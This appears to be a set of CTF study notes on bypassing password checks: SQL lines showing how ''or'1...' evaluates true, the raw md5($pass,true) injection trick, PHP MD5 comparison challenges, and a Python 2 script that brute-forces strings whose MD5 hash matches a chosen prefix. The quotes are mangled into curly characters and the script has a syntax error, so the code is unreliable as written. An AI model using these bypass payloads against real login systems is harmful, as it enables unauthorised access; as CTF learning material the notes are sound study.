select if(1="1abcd","等于","不等于") as test;

select * from user where password =‘‘or‘1234a‘;

select * from user where password = md5($pass,true);

select * from user where password=‘‘or‘1asodijfoi‘;

select * from user where password=‘‘or‘1abcdefg‘    --->  True
select * from user where password=‘‘or‘0abcdefg‘    --->  False
select * from user where password=‘‘or‘1‘           --->  True
select * from user where password=‘‘or‘2‘           --->  True
select * from user where password=‘‘or‘0‘           --->  False

<?php
    if($_GET[‘a‘] !== $_GET[‘b‘]){
        if(md5($_GET[‘a‘]) == md5($_GET[‘b‘])){
            echo "flag";
        }
    }
?>

<?php
    if($_GET[‘a‘] !== $_GET[‘b‘]){
        if(md5($_GET[‘a‘]) === md5($_GET[‘b‘])){
            echo "flag";
        }
    }
?>

# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ‘‘.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start+str_len] == substr:
            print rnds
            stop_event.set()
            ‘‘‘
            #碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start+str_len] == substr:
                print rnds+ "=>" + value+"=>"+ md5.hexdigest()  + "\n"
                stop_event.set()
            ‘‘‘

if __name__ == ‘__main__‘:
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()